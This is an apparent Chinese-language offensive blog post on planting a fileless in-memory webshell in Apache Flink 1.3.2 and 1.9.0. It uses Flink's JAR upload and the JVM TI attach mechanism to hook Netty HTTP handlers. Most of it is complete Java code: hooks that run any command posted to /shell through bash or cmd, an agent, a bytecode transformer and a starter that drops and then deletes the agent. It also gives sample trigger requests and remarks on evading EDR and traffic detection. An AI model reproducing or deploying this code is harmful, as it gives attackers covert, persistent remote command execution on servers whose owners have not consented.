針對 Flink 寫內存馬的實踐過程
在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。
1. 思路
首先目標機器 Flink 版本為 1.3.2、1.9.0,Flink 底層是使用的Netty作為多功能 socket 服務器,我們可以有兩種解決思路:
① 注冊控制器;
② 通過 JVMTI ATTACH 機制 Hook 關鍵方法來寫內存馬。
1.1 應用層
第一個方案就是,類似Tomcat、Spring情況下的內存馬,從當前或是全局中獲取獲取到被用于路由類功能的變量,注冊自己的路由、處理器。這里拿 1.9.0 代碼來舉例,jobmanager 的 web 服務器啟動與初始化位于org.apache.flink.runtime.rest.RestServerEndpoint#start。
這里將自定義的控制器handler注冊到路由器router,所以我們需要只需要參考Flink的業務代碼,寫好自己的Handler然后注冊到該route變量即可。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。另外 jar 執行的代碼處 (invoke main 方法)也沒有傳入啥有用的變量。要不就是想辦法添加一個自定義的SocketChannel,但這個方法更加不現實。

1.2 JVM TI Attach
直接利用JVMTI的 attach 機制,hook 特定類方法,在其前面插入我們的 webshell 方法,通過 DEBUG 相關 HTTP 處理流程,筆者最終實現了 1.3.2、1.9.0 版本下的內存馬。
本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。
1.3 系統層
在系統層面,通過端口復用實現系統層面的木馬,先知上有人提出該種想法利用 Hook 技術打造通用的 Webshell
https://xz.aliyun.com/t/9774
不過存在一些問題:
① 執行該操作的權限要求很高;
② 該 hook 操作容易被 EDR 發現;
③ 需要兼容不同平臺,且不同 linux 環境都可能導致不兼容。
大佬有說到,通過替換 lib 庫不容易被殺,但需要重啟(跑題了)。
2. JVM TI 概述
JAVA 虛擬機開放了一個叫 JVM Tool Interface (JVM TI) 的接口,通過該接口,我們可以查看和修改在 JVM 運行中的 Java 程序代碼。
實現了 JVM TI 接口的程序,稱為 agent,agent 能通過三種方式被執行,
① Agent Start-Up (OnLoad phase):在 JAVA 程序的 main 函數執行之前執行 agent,java 命令中需通過 -javaagent 參數來指定 agent,實現方式為 premain
② Agent Start-Up (Live phase) :對于正在運行的 JAVA 程序,通過 JVM 進程間通信,動態加載 agent,實現方式為 attatch 機制
③ Agent Shutdown:在虛擬機的 library 將要被卸載時執行。
如果使用 jdk/tools.jar 提供的 jvm 操作類,由于 com.sun.tools.attach.VirtualMachine#loadAgent(java.lang.String) 的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。
關于 agent,最近 @rebeyond 提出了一種不需要落地的方案,但其實我覺得落地 agent 這個問題不大(還請大佬們指教):
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw
3. 大體框架
首先,我們通過Flink的 JAR 上傳執行功能,上傳我們的starter.jar,starter 被執行后,我們先釋放 agent 到系統臨時目錄下,之后再加載該 agent,并在加載完成之后刪除即可。

4.尋找 Hook 點
由于Netty是用于支持多協議的 socket 服務器,對應用層 HTTP 的解析封裝是 Flink 做的,所以為了簡潔高效,我們可以選擇在 Flink 這邊 Hook 對應的方法。
2.1 Flink 1.3.2
通過瀏覽堆棧信息,查看相關代碼,我們可以很容易發現該版本中我們需要的關鍵類方法在org.apache.flink.runtime.webmonitor.HttpRequestHandler#channelRead0
不過,一個 HTTP 請求過來,我們在這里并不能一次性拿到整個 HTTP 報文,在msg instance of HttpRequest情況下我們拿到的是請求行與請求頭(這里簡稱請求頭吧),下一次再來到channelRead0中,且msg instance of HttpContent時,我們拿到的是請求體 Body,這時需要從this中拿到currentRequest請求頭、currentDecoder解碼器,然后解析獲取到 Body 中的 key-value。

2.2 Flink 1.9.0
起初筆者看到 1.9.0 版本中存在 1.3.2 一樣的代碼,以為 web 流程沒有變化,可以沿用 1.3.2 的 Hook 方法,但到實際測試時發現只是舊代碼沒有刪除,而流程發生了變化,導致筆者需要 hook 新類方法。
筆者使用org.apache.flink.runtime.rest.FileUploadHandler#channelRead0該類方法作為 hook 點,這里的代碼基礎邏輯和 1.3.2 的一樣,也是無法直接拿到整個 HTTP 請求報文,需要在msg instance HttpContent情況下使用this.currentHttpPostRequestDecoder處理 BODY 拿到 KEY-VALUE 表單數據,從this.currentHttpRequest拿到 HTTP 頭。

5. 編寫Agent
我們首先編寫一個接口類IHook,聲明一個 Hook 點的要素方法,其中我們可以通過 JDK 自帶的工具獲取方法描述符號,如
javap -cp flink-dist_2.11-1.9.0.jar -p -s org.apache.flink.runtime.rest.FileUploadHandler
5.1 IHook
package com.attach.hook;public interface IHook { /** * @return 插樁代碼 */ String getMethodSource(); /** * @return 被Hook的目標類空間名 */ String getTargetClass(); /** * @return 被Hook的目標方法名 */ String getTargetMethod(); /** * @return 被Hook的目標方法描述符 */ String getMethodDesc();}
5.2 Flink132
我們在編寫目標方法的 Hook 點時,需要引用相關的類或字段,在本地 IDEA 測試運行時我們直接引用相關 jar 包即可,而在打包 JAR 時,我們可以選擇不打包進去,避免獲得的 jar 包過大。
另外,關于實現 webshell 的業務功能,冰蝎工具就不適用了,因為 behind 的業務邏輯與HttpServletSession、HttpServletRequest、HttpServletResponse這幾個類緊密耦合,修改它的代碼的工作量也很大。但筆者還是十分希望有一個圖形化界面的工具來輔助我們管理 webshell,這樣能極大提升我們的工資效率。隨后筆者想到要不直接使用比較原始的工具cknife(JAVA 版開源菜刀),稍微改改就能用,但如果要流量免殺,就還得改客戶端源碼,也費精力。
后面又看到AntSword的CMDLINUX Shell功能,服務器只需要提供命令執行功能并回顯結果,就能做到文件瀏覽、修改功能;而且 AntSword 支持自定義加密,這樣一來選擇這塊工具就很省事了,至于其他重要的功能,如代理,就先放著吧。
另外,在筆者在內存馬的代碼中添加了內存馬刪除功能,當用戶訪問/UNINSTALL路徑時,會觸發removeTransformer(..),將相關 hook 點去除。
flink1.3.2 中,筆者給出的代碼在成功 hook 后,觸發命令執行的 HTTP 是這樣的:
POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: application/x-www-form-urlencodedContent-Length: 10cmd=whoami
package com.attach.hook;import com.attach.Agent;import io.netty.buffer.Unpooled;import io.netty.channel.ChannelFutureListener;import io.netty.handler.codec.http.*;import io.netty.handler.codec.http.multipart.DiskAttribute;import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import io.netty.handler.codec.http.multipart.InterfaceHttpData;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static com.attach.util.FileUtil.IS_WIN;import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;import io.netty.handler.codec.http.HttpContent;public class Flink132 implements IHook{ @Override public String getMethodSource() { return "com.attach.hook.Flink132.getShell($0,$1,$2);"; } @Override public String getTargetClass() { return "org.apache.flink.runtime.webmonitor.HttpRequestHandler"; } @Override public String getTargetMethod() { return "channelRead0"; } @Override public String getMethodDesc() { return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V"; } public static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx, io.netty.handler.codec.http.HttpObject msg) { //如果發生java.lang.NoClassDefFoundError異常,是無法捕獲的,且會影響業務。 try { String uriSymbol = "/shell"; String cmdKey = "cmd"; if (msg instanceof io.netty.handler.codec.http.HttpContent) { Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder"); currentDecoderField.setAccessible(true); io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder = (io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler); Field currentRequestField = handler.getClass().getDeclaredField("currentRequest"); currentRequestField.setAccessible(true); DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler); HttpContent chunk = (HttpContent) msg; //currentDecoder not null meaning method is POST and body has data. if (currentDecoder != null && request!=null) { if (request.getUri().startsWith("/UNINSTALL")) { if (Agent.transformer != null) { Agent.transformer.release(); } } if (request.getUri().startsWith(uriSymbol)) { currentDecoder.offer(chunk); Map<String, String> form = new HashMap<String, String>(); try{ while (currentDecoder.hasNext()) { InterfaceHttpData data = currentDecoder.next(); if (data instanceof DiskAttribute) { String key = data.getName(); String value = ((DiskAttribute) data).getValue(); form.put(key, value); } data.release(); } } catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {} String cmd = "null cmd"; if (form.containsKey(cmdKey)) { cmd = form.get(cmdKey); } if (!form.containsKey(cmdKey)) { return; } String[] cmds = null; if (!IS_WIN) { cmds = new String[]{"/bin/bash", "-c", cmd}; } else { cmds = new String[]{"cmd","/c",cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); int a = -1; byte[] b = new byte[1]; outputStream.write("<pre>".getBytes()); while((a=in.read(b))!=-1){ outputStream.write(b); } outputStream.write("</pre>".getBytes()); HttpResponseStatus status = new HttpResponseStatus(200, "OK"); FullHttpResponse response = new DefaultFullHttpResponse( HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray())); response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } // HTTP GET }else{ } } } }}
5.3 Flink190
flink1.9.0 中,筆者給出的代碼在成功 hook 后,觸發命令執行的 HTTP 是這樣的:
POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: multipart/form-data; boundary=--------347712004Content-Length: 98----------347712004Content-Disposition: form-data; name="cmd"whoami----------347712004--
package com.attach.hook;import com.attach.Agent;import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;import static com.attach.util.FileUtil.IS_WIN;import static com.attach.util.FileUtil.writeMsg;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;public class Flink190 implements IHook{ // public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler"; @Override public String getMethodSource() { return "com.attach.hook.Flink190.getShell($0,$1,$2);"; } @Override public String getTargetClass() { return "org.apache.flink.runtime.rest.FileUploadHandler"; } @Override public String getTargetMethod() { return "channelRead0"; } @Override public String getMethodDesc() { return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V"; } public static void getShell(Object handler, ChannelHandlerContext ctx, HttpObject msg ) { //如果發生java.lang.NoClassDefFoundError異常,是無法捕獲的,且會影響業務。 try { String uriSymbol = "/shell"; String cmdKey = "cmd"; if (msg instanceof HttpContent) { Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder"); currentDecoderField.setAccessible(true); HttpPostRequestDecoder currentHttpPostRequestDecoder = (HttpPostRequestDecoder) currentDecoderField.get(handler); Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest"); currentRequestField.setAccessible(true); HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler); final HttpContent httpContent = (HttpContent) msg; currentHttpPostRequestDecoder.offer(httpContent); if (currentHttpRequest.uri().startsWith("/UNINSTALL")) { if (Agent.transformer != null) { Agent.transformer.release(); } } if (currentHttpRequest.uri().startsWith(uriSymbol)) { Map<String, String> form = new HashMap<String, String>(); while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) { InterfaceHttpData data = currentHttpPostRequestDecoder.next(); if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){ Attribute request = (Attribute) data; form.put(request.getName(), request.getValue()); } } String cmd = "null cmd"; if (form.containsKey(cmdKey)) { cmd = form.get(cmdKey); } for (String key : form.keySet()) { writeMsg(key); } if (!form.containsKey(cmdKey)) { return; } String[] cmds = null; if (!IS_WIN) { cmds = new String[]{"/bin/bash", "-c", cmd}; } else { cmds = new String[]{"cmd","/c",cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); int a = -1; byte[] tmp = new byte[1]; outputStream.write("<pre>".getBytes()); while((a=in.read(tmp))!=-1){ outputStream.write(tmp); } outputStream.write("</pre>".getBytes()); HttpRequest tmpRequest = currentHttpRequest; getMethodInvoke(handler, "deleteUploadedFiles", null, null); getMethodInvoke(handler, "reset", null, null); HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK); response.headers().set(CONTENT_TYPE, "text/html"); response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE); byte[] buf = outputStream.toByteArray(); ByteBuf b = Unpooled.copiedBuffer(buf); HttpHeaders.setContentLength(response, buf.length); ctx.write(response); ctx.write(b); ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT); lastContentFuture.addListener(ChannelFutureListener.CLOSE); ReferenceCountUtil.release(tmpRequest); } } } catch (Exception e) { } } private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes, Object[] args) throws Exception { try { Method method = getMethod(object, methodName, parameterTypes); return method.invoke(object, args); } catch (Exception e) { throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName)); } } private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception { try { Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes); method.setAccessible(true); return method; } catch (Exception e) { throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName)); } }}
5.4 Agent
由于我們使用 attach 機制去 hook 方法并插樁,我們的 agent 客戶端被loadAgent調用時,入口方法為agentmain,所以我們這里只編寫該方法即可。另外,將整個項目打包成 JAR 后,我們需要在META-INF/MANIFEST中添加對應的屬性。
Agent-Class: com.attach.AgentCan-Retransform-Classes: true
package com.attach;import java.lang.instrument.Instrumentation;public class Agent { public static Transformer transformer = null; //注意,理論上運行環境已經有相關JAR包,為了減小打包后的JAR大小,在打包是不需要將javassist外的其他依賴打包進去 public static void agentmain(String vmName, Instrumentation inst) { transformer = new Transformer(vmName, inst); transformer.retransform(); }}
5.5 Transformer
我們編寫一個自己的Transformer類,實現ClassFileTransformer相關接口方法,由于目標類應該已經被加載了,所以我們需要通過retransform來重新轉換已經加載的類。
packae com.attach;import com.attach.hook.IHook;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.ArrayList;import java.util.List;public class Transformer implements ClassFileTransformer{ private Instrumentation inst; private List<IHook> hooks = new ArrayList<IHook>(); Transformer(String vmName,Instrumentation inst) { //為了適配不同版本,這里不直接import try { if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) { this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance()); } } catch (Exception e) { } try { if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) { this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance()); } } catch (Exception e) { } this.inst = inst; inst.addTransformer(this, true); } public void release() { inst.removeTransformer(this); retransform(); } public void retransform() { Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class clazz : loadedClasses) { for (IHook hook : this.hooks) { ; if (clazz.getName().equals(hook.getTargetClass())) { if (inst.isModifiableClass(clazz) ) { try { inst.retransformClasses(clazz); } catch (Throwable t) { } } } } } } @Override public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer ) { for (IHook hook : this.hooks) { String targetClass = hook.getTargetClass(); if (targetClass.replaceAll("\\.", "/").equals(s)) { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(targetClass); CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc()); m.insertBefore(hook.getMethodSource()); byte[] byteCode = ctClass.toBytecode(); ctClass.detach(); return byteCode; } catch (Exception ex) { } } } return null; }}
6. 編寫 Starter
starter 這里需要使用到 JDK 的 tools.jar 包,用于和 JAVA 虛擬機進行通信,但不同 JDK 版本與不同系統架構都會導致 jvm 或是說 tools.jar 的差異,為了避免該問題,這里我們可以使用URLClassLoader優先從本地 lib 庫中找 tools.jar 包,如果找不到再去使用我們打包的 starter.jar 中的相關虛擬機操作類。如果是 Linux 的情況,我們可以直接在 JDK/lib 下找到 tools.jar 包,而 windows 比這復雜多,不過目前不涉及到 windows 場景,也不必處理。
由于 1.3.2 與 1.9.0 的 VM Name 發生了變化,前者為org.apache.flink.runtime.jobmanager.JobManager,后者為org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint,這里直接對兩種進行了判斷
public class Starter { String agentJar = "HookSomething.txt"; /** * here use URLClassloader to load VirtualMachine class which from `tools.jar` * the load sequence is 1. try to load from local system's jdk/lib/tools.jar * 2. if can't load from local,try to load from the jar which we package * Because we need to use the JVMTI and communicate with JVM ,it's related to JVM, * so it's related to system architecture and java version. * In this case,load tools.jar from local is the best choice , it can avoid the problem case by * java version / system architecture . * @param args */ public static void main(String[] args) { try { Starter app = new Starter(); //將resource下的agent.jar釋放到臨時目錄 String jarPath = app.writeAgentJar(); File javaHome = new File(System.getProperty("java.home")); // here only handle Open JDK situation,others didn't . . Win Oracle JDK String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar"; URL[] urls = new URL[]{ //優先查找加載JDK LIB tools.jar new File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(), //找不到的話加載打包的JAR,或者如果 .so 已經被加載 java.lang.UnstisfiedLinkError Starter.class.getProtectionDomain().getCodeSource().getLocation(), }; URLClassLoader loader = new URLClassLoader(urls, null); Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); Method listM = VirtualMachineClass.getDeclaredMethod("list", null); List vmList= (List) listM.invoke(null); Object vm = null; List<String> vmNames = new ArrayList<String>() { { add("org.apache.flink.runtime.jobmanager.JobManager"); add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint"); }}; for (Object vmd : vmList) { for (String vmName : vmNames) { Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null); String name = (String) displayNameM.invoke(vmd); if (name.startsWith(vmName)) { Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass); vm = attachM.invoke(null, vmd); Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class); loadAgentM.invoke(vm, jarPath, vmName); Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null); detachM.invoke(vm, null); System.out.println("success"); } } } loader.close(); new File(jarPath).delete(); } catch (Exception e) { e.printStackTrace(); } }
7. libattach.so 被占用
起初筆者以為 flink 的 JAR 執行是通過java -jar進行的,后面發現其實就是 invoke 了 main 方法。這個情況下,導致了這么一個問題:starter 成功執行 attach 之后,我們通過/UNINSTALL功能卸載內存馬,再一次去執行 starter 時卻發現 starter 執行失敗。原因為,VirtualMachine在實例化時有個靜態代碼塊加載了libattach.so,而第二次執行 starter 會導致在加載該 so 文件時報java.lang.UnsatisfiedLinkError: Can't load library異常。
為了避免該問題,我們可以一開始先將 starter 釋放到臨時目錄下,通過調用系統命令jar -jar來運行 starter。
8. 結語
在路由注冊方式行不通的情況下,使用 attach 進行內存馬的寫入,不失為一個不錯的方法,理論上在任何 JAVA 代碼執行漏洞中,我們都可以使用該方式去寫內存馬,但關于內存馬的業務功能這塊,我們可能需要費一番功夫。